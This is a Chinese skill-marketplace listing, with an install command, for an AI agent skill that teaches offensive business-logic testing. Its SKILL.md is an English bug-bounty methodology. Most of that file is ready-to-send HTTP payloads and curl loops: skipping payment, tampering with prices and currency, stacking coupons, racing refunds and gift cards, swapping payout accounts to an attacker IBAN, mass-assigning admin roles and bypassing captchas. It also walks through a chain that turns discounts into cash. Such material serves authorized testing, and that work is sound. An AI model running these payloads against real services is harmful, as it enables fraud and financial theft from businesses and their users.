攻击性业务逻辑

SKILLAI 工具
AI 工具 未标注权限 许可证不明确
安装这个技能

攻击性业务逻辑专用技能,帮助AI Agent高效完成相关任务。

一句话选型结论

按资料字段整理

攻击性业务逻辑是AI 工具类的 Agent Skill,安装方式未标注,权限级别未标注,许可证不明确,有可直接复制的安装命令。技能本质是给模型读的说明书,效果取决于模型与客户端;装完先用一个小任务验证,再放进正式流程。

分类AI 工具 安装方式未标注 权限级别未标注权限 许可证许可证不明确
累计安装 未标注 本周 未标注
GitHub 星标 未标注 仓库 未标注
下载量 未标注 技能市场下载数
权限级别 未标注权限 安装前请确认风险范围
许可证 许可证不明确 未说明

安装

未标注
在支持 Skills 的客户端里执行,装完问一句「你有哪些技能」验证
skillhub install user_3c6cb52e/offensive-business-logic-xqes
  1. 1
    确认客户端支持

    确认你的客户端支持 Skills(Claude、Codex、Cursor 等),并升级到较新的版本。

  2. 2
    拿到技能文件

    执行上面的命令安装;也可以把仓库里的 SKILL.md 手动放进客户端的 skills 目录。

  3. 3
    刷新技能列表

    重新打开客户端,或刷新技能列表,让新放进来的技能被加载。

  4. 4
    验证是否生效

    问一句「你有哪些技能」,确认列表里出现它,再拿一个小任务试跑。

技能档案

AI 工具
字段来自技能仓库与公开索引,中文说明由本站标注
作者 / 维护方user_3c6cb52e仓库 未标注 · 版本 未标注
宿主客户端未标注技能可被这些客户端加载
安装方式未标注安装包 community
权限级别未标注权限安装前请确认风险范围
许可证未说明许可证不明确,商用前请自行确认条款
仓库可用性available技能仓库当前是否可访问
最近核验未标注上游最后核验时间 · 数据更新 1791623091
正文体量13.0 KBSKILL.md 原文大小,越大说明说明书写得越细

典型使用场景

3 类
按分类整理的常见用法,具体以 SKILL.md 为准
组合多个 AI 能力

把写作、检索、总结串成一条流程。

搭工作流

把固定流程做成可重复调用的步骤。

做提示词与评测

整理提示词并对比输出效果。

选择建议

装之前先看这几条
按条目字段给出的判断,不替你决定用不用

值得选的地方

  • 有可直接复制的安装命令,不用自己翻文档找入口。

先想清楚的地方

  • 没有标注权限级别,实际能做什么要装好后确认。
  • 许可证不明确,商用或二次分发前先到仓库确认条款。
  • 没有做站内核验,内容以作者仓库为准。
  • 技能只是说明书,实际效果取决于模型与客户端,装完先用小任务试一遍。

更适合

  • 需要在AI 工具场景里给模型补一套做法的人。
  • 愿意先读一遍 SKILL.md、确认它会让模型做什么的人。

不太适合

  • 对许可证要求很严、必须明确可商用的人。
  • 只想装完就自动变强、不打算看说明书的人。

同类对比

6 个同类
同分类里挑最接近的几条,字段以各自详情页为准
技能权限级别安装方式累计安装宿主客户端安装命令
攻击性业务逻辑当前 未标注权限 未标注 未标注 未标注 有
执行计划 只读 GitHub 仓库 151.5 万 Codex、Claude、Cursor 有
Playwright MCP 测试 浏览器控制 ClawHub 市场 136.5 万 OpenClaw 有
完成前的验证 未标注权限 GitHub 仓库 131.9 万 Codex、Claude、Cursor 有
子 Agent 驱动开发 只读 GitHub 仓库 131.2 万 Codex、Claude、Cursor 有
前端设计 执行命令 GitHub 仓库 125.6 万 Codex、Claude、Cursor 有

SKILL.md 全文

13.0 KB
模型实际读到的说明书原文,来自技能仓库

Business Logic — Offensive Testing Methodology

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.

Quick Workflow

  1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
  2. For each transition, ask: who can call it, in what state, with what inputs, how many times
  3. Probe each axis (state, identity, input, frequency) for assumptions
  4. Combine flaws — single-axis flaws are usually low severity; chains are critical
  5. Quantify financial impact per finding (loss-per-attack × scale)

Reconnaissance — Mapping the Logic

Build the State Machine

For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook

Look for transitions that:
- Skip intermediate states (cart → shipped without paid)
- Are reversible when they shouldn't be (shipped → cart)
- Trigger side effects more than once
- Allow cross-role invocation

Hidden / Internal Endpoints

# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'

Workflow / State-Machine Bypass

Skip a Required Step

# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }

Replay a One-Time Action

# Refund endpoint without idempotency
POST /api/orders/123/refund   # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund   # Second call: server checks "is order refunded?" — race the check (see TOCTOU)

State Downgrade

Move a finalized object back to an editable state where mutations have effect:

PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

Direct Endpoint Invocation

Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.

# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
  for v in GET POST PUT PATCH DELETE OPTIONS; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
    echo "$v $path $code"
  done
done | grep -v -E ' (401|403|404) '

Price / Quantity / Currency Manipulation

Negative / Zero / Float Quantities

POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

Hidden Price Fields

POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }

If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.

Currency Confusion

POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?

Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.

Coupon / Discount Logic

# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" }   # Stacks?
POST /api/cart/coupon { "code": "save50" }   # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " }  # Whitespace ditto?

# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 }   # If admin endpoint reachable

# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }

Cart Tampering

# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT  /api/cart/items/abc { "sku": "macbook" }      # SKU swap with pen's price retained?

Refund / Chargeback / Payout Abuse

Refund More Than You Paid

POST /api/orders/123/refund { "amount": 99999 }

Refund After Returning Less

Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.

Convert Refund to Different Method

POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold

Payout Account Race

PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

Identity / Tenant / Role Boundary

Role Confusion via Multipart / Parameter Pollution

POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

Tenant ID Substitution in Hidden Field

POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order

Mass Assignment / Field Whitelist

PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }

Test every field that exists on the model, not just those the form exposes.

Indirect Privilege via Object Linking

POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API

Race Conditions on Logic Boundaries

Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)

Single-Packet Multi-Request

# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.

Common Logic Races

Flow Race
Coupon redemption N parallel apply-coupon calls each see "unused"
2FA verification Submit code N times in parallel before lockout counter increments
Withdrawal Parallel withdraws each see full balance
Vote / Like / Reaction "One per user" check raced
Invitation acceptance Multiple accepts → multiple seats granted
Free-trial signup Parallel signups → multiple trials per email
Gift-card redeem Parallel redeems → multi-spend a single card
Inventory reservation Parallel buys of last item → oversell, supplier covers difference

Amplification

# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card

Anti-Automation / Fraud Defeat

Captcha / Rate Limit Bypass

Bypass Mechanic
Token reuse One captcha solve, replay token across many requests
Endpoint mirror /api/v1/login rate-limited, /api/v2/login not
Header rotation X-Forwarded-For: <random> resets per-IP counter
HTTP/2 stream multiplexing Each stream counted as same conn → window only
Method/case variation POST /Login vs POST /login keyed differently in cache

Device Fingerprint / Velocity

  • New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
  • Velocity counters (5 logins/hour) often per (userid, ip) not per userid.
  • Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).

Free Trial / Sign-Up Abuse

# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com         # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com         # Dots ignored on Gmail
attacker@googlemail.com                            # gmail/googlemail equivalence

# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install

Referral / Reward Loops

POST /api/refer { "email": "a@x.com" }   # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" }  # Repeat — many sign-ups, all same person

Subscription / Quota / Tier Abuse

Tier Downgrade Retains Premium Features

PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?

Mid-Cycle Quota Reset

PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle

Add-On Stacking

POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

Time-Based Logic

Time Travel via Headers

POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800

Promotion Window

Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.

Token / Session Expiry

Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.


Combining Flaws — Where the Crits Live

Single-axis findings are interesting; chains are payouts.

Example chain (real, paid bounty):
1. Coupon stacking allows 100% off × 2 → negative total
2. Negative total → store credit issued (refund of "overpayment")
3. Store credit transferable to gift card
4. Gift card race condition → multiplied
5. Gift card redeemable on partner site for cash equivalents

Chain template:
- Find a thing the system gives you (credit, points, slot, seat)
- Find a way to multiply it (race, replay, stacking)
- Find a way to convert it to value (transfer, refund, payout)


Engagement Approach

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.

Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.


Reporting Hooks

Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:

  • A diagram of the intended flow vs. the achieved flow
  • A scripted PoC that runs end-to-end (no manual steps)
  • A dollar value per execution and a feasibility statement for repeating it
  • The fix at the right layer (state machine validator, not just input validation)

Key References

  • OWASP WSTG-BUSL — Business Logic Testing chapter
  • PortSwigger Web Security Academy: Business logic vulnerabilities track
  • MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md

常见问题

5 问
答案由本站依据条目字段整理
攻击性业务逻辑怎么安装?

在支持 Skills 的客户端里执行:skillhub install user_3c6cb52e/offensive-business-logic-xqes。安装方式为未标注。装完刷新技能列表或重开客户端。

攻击性业务逻辑支持哪些客户端?

资料没有标注宿主客户端,但只要客户端支持 Skills(Claude、Codex、Cursor 等),一般都能加载。

攻击性业务逻辑权限高吗,安全吗?

权限级别为未标注权限。安装前先看它会读取或写入哪些内容。

攻击性业务逻辑收费吗?

本站不代收费用,也没有标注具体价格。是否收费取决于技能本身和所用的模型或客户端,正式使用前按作者说明确认。

攻击性业务逻辑用什么许可证?

许可证标注为 未说明(许可证不明确)。商用或二次分发前请到仓库确认条款原文。

热门专题

按场景挑技能
全部专题 →

技能内容以作者仓库为准;分类、权限级别与许可证状态的中文说明为中文整理,最近核验 未标注。